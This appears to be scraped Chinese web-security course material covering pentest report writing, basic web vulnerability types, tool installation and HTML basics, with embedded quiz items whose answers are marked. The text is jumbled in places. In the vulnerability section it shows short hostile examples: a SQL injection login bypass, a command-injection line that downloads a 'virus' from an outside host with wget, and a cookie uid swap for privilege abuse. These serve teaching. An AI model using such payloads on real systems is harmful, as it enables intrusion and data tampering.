- 漏洞描述过于简单,切不可一笔带过 没有实际意义的安全建议,比如加强安全意识 复杂的专业术语,比如绕狗、X站等等 报告结构混乱不堪
以下描述在渗透测试报告中,最准确的是()|进行了端口扫描|通过端口扫描发现一个端口|使用端口扫描器检测到了一个开放的TCP端口|!使用Nmap5.50,对一段端口进行SYN扫描,发现了一个开放的TCP端口
编写报告
一份渗透测试报告的基本样式模版。
https://static-v.zhishibox.net/20210115/109627811.mp4|https://static.zhishibox.net/20210115/105054214.png
【注意】不管漏洞是否修复,渗透测试报告都不能泄露。
安全风险状况等级说明
-
良好状态
信息系统处于良好运行状态,没有发现或只存在零星的低风险安全问题,此时只要保持现有安全策略就满足了本系统的安全等级要求
预警状态
信息系统中存在一些漏洞或安全隐患,此时需根据评估中发现的网络、主机、应用和管理等方面的问题对此进行有针对性的加固和改进
严重状态
信息系统中发现存在严重漏洞或可能严重威胁到系统正常运行的安全问题,此时需要立刻采取措施,例如安装补丁或重新部署安全系统进行防护等等
紧急状态
信息系统面临严峻的网络安全态势,对组织的重大经济利益或政治利益可能造成严重损害。此时需要与其他安全部门通力协作采取紧急防御措施
一次优秀的渗透测试需要通过优秀的渗透测试报告进行体现。
渗透测试报告需要包含哪些内容?|!安全建议|!漏洞扫描|!渗透结果|!概述|!测试结果
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
平台服务规则
- 由于涉及到内容安全及版权问题,涉及到某些国内厂商的信息会做打码处理,以及图片或是音频中的 hacker 的样子会被替换成 target、example等。 课后拓展学习的意义属于课程之外的拓展学习内容,不要求一定能掌握。 所有需要密码的压缩文件密码均为:twosecurityio
学习理念
https://static-v.zhishibox.net/20210115/100933383.mp4|https://static.zhishibox.net/20210115/105200923.png
认知web安全
什么是Web安全
早期的互联网非常的单调,一般只有静态页面,现在,通过技术的发展,Web上大多数站点实际上是Web应用程序,在服务器和浏览器之间进行双向的信息传递。金融交易,搜索及用户创作的内容。用户只需要拥有一个浏览器,即可实现各种功能。 Web是指一个网站的前端页面到后端服务,比如我们常见的Javascript、PHP、Python、Mysql、jQuery、Docker等,包括开发、运维这些服务。 所以在我看来Web安全也就是从安全的角度探索Web的一种方式。
常见 Web 漏洞的攻击思想

现在这里有一份试卷,首先我们来看试卷名字和学号填写,你们觉得这部分有"漏洞"吗?

答案是:有。 首先看第一部分:学生的姓名和学号都写在这里,没有做任何的保护措施,因此,你只要偷看了某人试卷上的这部分内容,然后把你试卷的上的姓名和考生学号写成与他一样的即可伪装他的身份。 漏洞则攻击成功。 再来看诗歌部分的题目,那这到底又有没有"漏洞"呢?

答案同样是有。 这道题的答案首先想到的肯定是"疑似地上霜"和"处处闻啼鸟"。 不过,问题中,并没有规定答案里不能添加标点符号, 所以,我们完全可以写出第二种答案: 床前明月光,
疑是地上霜。举头望明月,低头思故乡
。 春眠不觉晓,
处处闻啼鸟。夜来风雨声,花落知多少
。 漏洞再次进攻成功:P。 最后是一道数学运算题目,既然是运算题规定了运算符和数字还能有什么漏洞呢?但实际上仍然不"安全"。我们来看看他的问题出在哪里。

试卷漏洞解读
这道题目,出题者规定了只能填入数字,但却没有说是什么数字,也没有规定多少位,那么我的答案可以是 中文数字「壹佰壹拾圆」、罗马数字「MCI」或「0000000000001101」。 漏洞第三次进攻成功:XD。 我们刚才做的试卷简单的模拟了Web漏洞的攻击思想,在实际中,我们打开一个网页提交登录或者是搜索都会经过服务器做的一系列处理又回到浏览器,在这个过程中我们提交的数据会被带入到一系列的填空题中,有的是我们能猜到的,有的则是意想不到的,有的会经过SQL查询进行填空,有的会被带入到命令行中进行执行,最后又把结果返回给浏览器进行填空,也就是最后我们看到的结果。 我们常见的Web漏洞类型主要有SQL注入、XSS、远程命令执行以及越权等。
SQL注入
SQL注入介绍
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 SQL注入示例:
select * from username = ____ and password=_____
select * from username = "test" or ""="" and password="123456"
XSS
XSS介绍
XSS则是攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
你好啊,尊敬的______
你好啊,尊敬的 xxx
远程命令执行
远程命令执行介绍
远程命令执行,是用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致执行命令。
ping _______
ping www.example.com & wget www.target.com/virus
越权
越权漏洞介绍
越权漏洞是比较常见的漏洞类型,越权漏洞可以理解为,一个正常的用户A通常只能够对自己的一些信息进行增删改查,但是由于程序员的一时疏忽,对信息进行增删改查的时候没有进行一个判断,判断所需要操作的信息是否属于对应的用户,可以导致用户A可以操作其他人的信息。
Cookie: uid=11426;
Cookie: uid=1;
关于越权,就像我们刚刚试卷体中的姓名部分。 用户的输入到处理到输出往往经历多个阶段,而不同阶段中,又会由于种种原因,导致不同的安全问题出现。下图就展示了数据的传输流程,以及不同阶段经常出现的漏洞及其原因。
(数据传输流程中易出现的漏洞)

(各漏洞的简单利用方式)
中间件
注解: 中间件是一类连接软件组件和应用的计算机软件,它包括一组服务。以便于运行在一台或多台机器上的多个软件通过网络进行交互。该技术所提供的互操作性,推动了一致分布式体系架构的演进,该架构通常用于支持并简化那些复杂的分布式应用程序,它包括web服务器、事务监控器和消息队列软件。 中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。
脚本解释器注解: 解释器(英语:Interpreter),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人”,每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去。
数据库注解: SQL是Structured Query Language(结构化查询语言)的缩写。SQL是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出“做什么”的命令,“怎么做”是不用使用者考虑的。SQL功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持SQL。
了解了这几个漏洞之后我们可以看到原理都有些类似,也很简单,当然我们只要不再局限于概念名词就会发现 web 安全的大部分漏洞都很简单。更多时候,发现一个复杂的漏洞需要是只是耐心。 概念,不是一个神圣的东西,概念很多时候只是bullshit。很多概念的产生是因为需要认识和概括某种存在着的现象而不得已产生的,概念也许是必须的但并不是必然如此的。 换句话说,概念仅可以被看做是一种努力尝试描述后的结果之一。或者也可以说概念是提出这个概念的人自嗨的产物,跟其他人关系不大。甚至,有些概念是‘别有用心’的发明来合理化某种其实不必合理化但是存在的现象。 所以不要把自己拘泥于一个这样的概念中来思考所面临问题的实质。把概念忘了,你才可能看清楚你和这个事件的关系。环境配置
软件和工具的准备
我们在学习web安全的过程中需要用到一些软件和工具,以下是对于各个软件详细的介绍。
操作系统
操作系统推荐
Windows系统建议大家都使用windows 10 专业版,家庭版有很多功能无法使用。 也可以使用linux操作系统和Mac OS系统
cmder
cmder介绍
cmder是一款Windows环境下非常简洁美观易用的cmd替代软件,它支持了大部分的Linux命令。
http://cmder.net/

(cmder官网下载)
cmder的安装
下载之后进行解压,解压之后双击应用程序就可以使用了。

(解压运行)

(运行结果)
(常用快捷键)
Tab|自动路径补全 Ctrl+t|建立新页签 Ctrl+W|关闭页签 Ctrl+Tab|切换页签 Alt+Shift+1|开启cmd.exe Alt+Shift+2|开启powershell.exe Alt+Shift+3|开启powershell.exe (系统管理员权限) Ctrl+1|快速切换到第1个页签 Ctrl+n|快速切换到第n个页签( n值无上限) Alt + enter|切换到全屏状态 Ctr+r|历史命令搜索 2|可在视窗内搜寻画面上出现过的任意关键字 3|新增页签按钮 4|切换页签按钮 5|锁定视窗,让视窗无法再输入 6|锁定视窗,让视窗无法再输入 7|按下滑鼠左键可开启系统选单,滑鼠右键可开启工具选项视窗 Win+Alt+P|开启工具选项视窗

(快捷键介绍)
Cmder进阶功能
- Alias功能:可以用短短的指令执行一些常见但指令超长又难以记忆的语法,我们在控制台输入alias可以查看。 文字缩放:按下ctrl+鼠标滚轮可以放大主控台文字。按Up键,可以向上翻历史命令。 复制粘贴:用鼠标选中自己想拷贝的内容,可自动复制到剪切板,ctrl+v直接粘贴。 自定义aliases:在cmder目录下有一个config文件夹,其中的aliases文件是我们可以自行配置的别名文件,将里面ls命令的别名自定义修改就可以在ls命令下显示中文了。
Node.js
介绍
Node.js是基于Chrome JavaScript运行时建立的一个平台,通过事件驱动I/O服务端的JavaScript环境。简单来说呢,Node.js就是运行在服务端的JavaScript。因为基于Google的V8引擎,能够快速执行JavaScript的同时,性能也非常优秀。

(官方下载界面)
https://nodejs.org/en/download/
安装流程
以Window版本为例:
- 双击运行下载好的安装包 选择安装路径 选择你需要的安装模式
检查版本信息
安装完成后,我们在命令行中输入:node --version可以检查Node.js版本。

(显示node.js版本信息)
Npm配置国内镜像
由于新版的Node.JS已经集成了npm,所以之前npm也一并安装好了。我们可以使用cmd命令行输入"npm -v"来测试是否成功安装。如果出现版本提示便OK了。 淘宝 npm 地址:http://npm.taobao.org/ 持久使用 npm config set registry https://registry.npm.taobao.org 配置后可通过下面方式来验证是否成功 npm config get registry 或 npm info express

(显示npm版本)
完成安装
常规Node.JS的搭建到现在为止就已经完成了,你可以尝试在cmd命令行中输入”node“进入node开发模式下,输入:console.log('hello world')。便可以出现你的第一句Node.JS语句。

(测试)
Python
Python介绍
Python是一种解释型的高级程序设计语言,同时也是面向对象的语言。Python是纯粹的自由软件,它的源代码和解释器CPython遵循 GPL(GNU General Public License)协议。语法非常简洁清晰,强制用空白符(white space)作为语句缩进是Python语言的特色。它还具有非常丰富、强大的库。最重要的是,能够把其他语言制作的各种模块(尤其是C/C++)很轻松地联结在一起,被大家称为胶水语言。
http://www.python.org/download/

(官方下载)
安装教程
下载所需要的下载包,然后进入安装步骤。双击运行下载好的MSI安装包,在选择安装组件的一步时,勾选上所有的组件,特别要注意选上pip和Add python.exe to Path,然后一路点“Next”即可完成安装。

(官方下载)
测试是否安装成功
如果出现这样的画面,就说明我们已经成功的安装好Python了。当看到提示符>>>就表示我们已经在Python的交互式环境中了,可以输入任何Python代码,回车后会立刻得到执行结果。输入exit()并回车,就能够退出Python,或者直接关掉窗口也行。

(安装检测)
备注:安装错误提示 如果页面爆出"'python'不是内部或外部命令,也不是可运行的程序或批处理文件。"这样的错误,是因为Windows会根据一个Path的环境变量设定的路径去查找python.exe,如果没找到,就会报错。如果在安装时漏掉了勾选Add python.exe to Path,那就要手动把python.exe所在的路径C:\Python27添加到Path中。
pip配置国内镜像
我们在使用python过程中,pip安装软件包非常频繁,我们需要将pip源使用国内的镜像,以提升下载速度以及提高安装的成功率。 有这样一些国内的镜像:
- http://pypi.douban.com/simple/ 豆瓣 http://mirrors.aliyun.com/pypi/simple/ 阿里
配置的流程
- 临时使用
添加"-i"或"--index"参数。比如: pip install -i http://pypi.douban.com/simple/
- 配置为默认
在你的"C:\Users\你的用户名\"目录下创建 pip 目录,并 pip 目录下创建pip.ini文件,需要注意的是,文件要以UTF-8、无BOM格式编码。
pip.ini 文件内容
index-url=http://mirrors.aliyun.com/pypi/simple/
trusted-host=mirrors.aliyun.com
注意: 这里有一些需要我们注意的地方。trusted-host 选项为了避免麻烦是必须的,否则使用的时候会提示不受信任,或者添加--trusted-host=mirrors.aliyun.com选项。还有就是有网页提示需要创建或修改配置文件(Linux的文件在~/.pip/pip.conf,windows在%HOMEPATH%\pip\pip.ini),至少Windows7下%HOMEPATH%\pip\pip.ini这个目录是不起作用的。
Docker
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
安装 Docker(Windows 10 专业版)|https://desktop.docker.com/win/stable/Docker%20Desktop%20Installer.exe
安装失败可以尝试
https://download.docker.com/win/edge/Docker%20for%20Windows%20Installer.exe
https://download.docker.com/win/stable/DockerToolbox.exe|安装 Docker(虚拟机版本)
其它Windows版本(包含win10家庭版)只能安装虚拟机版本。如果以上都安装失败则建议升级至 Windows10专业版。
https://download.docker.com/mac/stable/Docker.dmg|安装 Docker(MacOS Yosemite )
如果安装失败可以尝试
https://download.docker.com/mac/edge/Docker.dmg
Ubuntu
(WAMP安装)
安装WAMP的过程也很简单,选择安装目录后,其它都点 next 就行 ,但如果安装过程中出现的提示是否指定某些软件为默认的时点击No。

在 WAMP 安装目录下,我们可以看到一个叫www的文件夹,这是我们的默认工作空间,也就是说我们可以在这个文件夹下面编写PHP代码。


本地地址:
http://127.0.0.1' rel='nofollow'/>http://www.wampserver.com/en/#download-wrapper
首先要下载 WAMP ,下载前可查看电脑是否安装过老版本,若已安装可继续使用,或卸载后再安装新版本。现大部分电脑都已经支持64bit版,如果无法正常运行则尝试32位版。

(WAMP安装)
安装WAMP的过程也很简单,选择安装目录后,其它都点 next 就行 ,但如果安装过程中出现的提示是否指定某些软件为默认的时点击No。

在 WAMP 安装目录下,我们可以看到一个叫www的文件夹,这是我们的默认工作空间,也就是说我们可以在这个文件夹下面编写PHP代码。


本地地址:
http://127.0.0.1
安装好后,点击桌面的 WAMP 图标运行本地服务器: 现在我们打开浏览器访问http://127.0.0.1/这个网址,如果看到这样的界面就表示安装成功了。
Hello Twosecurity'; ?>

接下来我们就在之前提到的 www 目录下编写一个 php 测试文件:twosecurity.php

https://code.visualstudio.com/Code
学前预习资料
为避免学员实训过程中信息资讯过载,我们只保留了对后面学习真正需要的内容,请认真进行预习。
https://www.sec-wiki.com/event
http://www.docker.org.cn/book/docker/what-is-docker-16.html
https://developers.google.com/web/tools/chrome-devtools/
https://maxiang.io/
学前工具准备
文档工具,可以直接查看搜索各种开发语言、框架的官方文档,都给整理好啦!https://velocity.silverlakesoftware.com/
https://kapeli.com/dash
https://devdocs.io/
文本编辑
https://code.visualstudio.com/
Chrome 扩展
https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg
https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
https://chrome.google.com/webstore/detail/take-webpage-screenshots/mcbpblocgmgfnpjjppndjkmgjaogfceg
翻译软件
https://www.eudic.net/v4/en/app/download
就业与兴趣的解答
(常见安全职位及其职能介绍)甲/乙方|职位|职能 乙方|渗透工程师|为甲方做安全检测 甲方、乙方|安全开发|研发安全产品 甲方|安全运维工程师|渗透测试、主机安全 甲方|安全工程师|渗透测试、风险评估
https://www.zhipin.com/
https://www.kanzhun.com/
问:经常有人会问,如果选择从事有关Web安全的工作,是否需要转到相关专业进行学习? 答:我认为你的专业不应该成为你未来规划的牢笼,而是应该通过四年一整套专业的学习训练,让你习得一种看世界的角度和思维。web安全是一个很小的分支,工作后有个好的环境或者是有个很好的指导会让你上手很快,web安全它只是一种探索Web的方式而已。
问:现在有些人觉得web安全的投入产出比有点低,学不动怎么办? 感觉搞出来的东西又会被很快补掉。 答:挖漏洞应该是一件快乐的事情,当你挖漏洞目的不是单纯的挣钱和提升声望时,你会发现收益的重要性可能远小于心情愉快。让单纯地挖洞慢慢的变成一种良性循环,让你走的更远。
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
web安全与HTML的关系
https://static-v.zhishibox.net/20210115/101936409.mp4
大家好,今天我们对HTML基础课程进行学习。首先要讲一下Web安全与HTML的关系,在我们学习Web安全的过程中常常会与HTML也就是我们所说的网页打交道。除了前端安全之外,各种漏洞的利用脚本也需要经常用到它。
不属于Web安全的是哪一项?|Web服务器的安全|浏览器的安全|!浏览本地文件安全|两者之间的通信安全
什么是HTML
HTML:超文本标记语言
https://static-v.zhishibox.net/20210115/107143167.mp4
那么HTML究竟是什么呢?HTML是一种用来制作超文本文档的简单标记语言。所谓超文本,是因为它不仅是可以加入文字的文本文件,还可以加入链接、图片、声音、动画、影视等内容的文本文件。我们浏览网页的时候会看到丰富的影像、文字以及图片内容,这些内容通过HTML呈现在我们面前。HTML文档被用作万维网的信息表达语言,它能够独立于各种操作系统平台,所以网站软件开发人员常会涉及HTML语言。
https://static-v.zhishibox.net/20210115/101324202.mp4
使用HTML语言描述的文件,通常需要通过Web浏览器显示出效果。http协议的制定使浏览器在制定超文本时有了统一的规则和标准。
https://static-v.zhishibox.net/20210115/101019504.mp4
标记语言则会在纯文本文件里加入HTML指令代码,这些指令代码并不是什么程序语言,只是排版网页中显示位置的标记结构语言,非常易懂。在HTML中每个用来作为标签的符号都是一条命令,它会告诉浏览器如何显示文本,这些标签由尖括号以及一个字符串组成,而浏览器的功能则是对这些标记进行解释,然后显示出文字、图像、动画以及播放声音。
http://code.twosecurity.xyz/
https://static-v.zhishibox.net/20210115/101101799.mp4
html文件通常使用".htm"或者".html"作为文件扩展名,使用".html"是比较安全的做法,在最开始呢,我们将会使用phpcode.twosecurity.io在线进行练习。
下面关于HTML说法正确的是( )|低级语言|高级语言|!是一种页面描述语言|是一种程序设计语言
有关HTML的说法中,以下正确的是()|!HTML是一个纯文件文件|HTML是一个可执行的文件|HTML文件必须用专门的文本编辑器创建|HTML文件的扩展名只能是.html
HTML在web开发中的常见用法
前端界面
https://static-v.zhishibox.net/20210115/104883354.mp4|https://static.zhishibox.net/20210115/102640495.png
https://static-v.zhishibox.net/20210115/104883354.mp4
那么HTML在Web开发中究竟用于做什么呢?首先是前端页面,html可以用于前端的页面,我们浏览的很多网页都是经过html设计的,可以包含图片、链接,甚至包含音乐、程序等元素,同时可以使网页更加的美观。
表单提交
Submit type
type=Submit Submit是专门用于提交表单的Button
https://static-v.zhishibox.net/20210115/108522137.mp4
其次呢是表单提交,关于表单提取我们也有一些方法,最常用的方法就是用submit type。另外,我们还有一种常用的方法是使用图片。
链接导航

https://static-v.zhishibox.net/20210115/106809064.mp4
HTML在链接导航功能方面也非常的出色,只需要几个链接就能轻易地在几个页面进行交替了。
展示图文

https://static-v.zhishibox.net/20210115/109397881.mp4
为了让界面更加的漂亮美观,HTML也可以用来展示许多的图片或者视频等。在一些展示类的页面加入图片、视频等可以使浏览者充分的了解其功能需求。
关于head结构中的内容
|描述网页属性=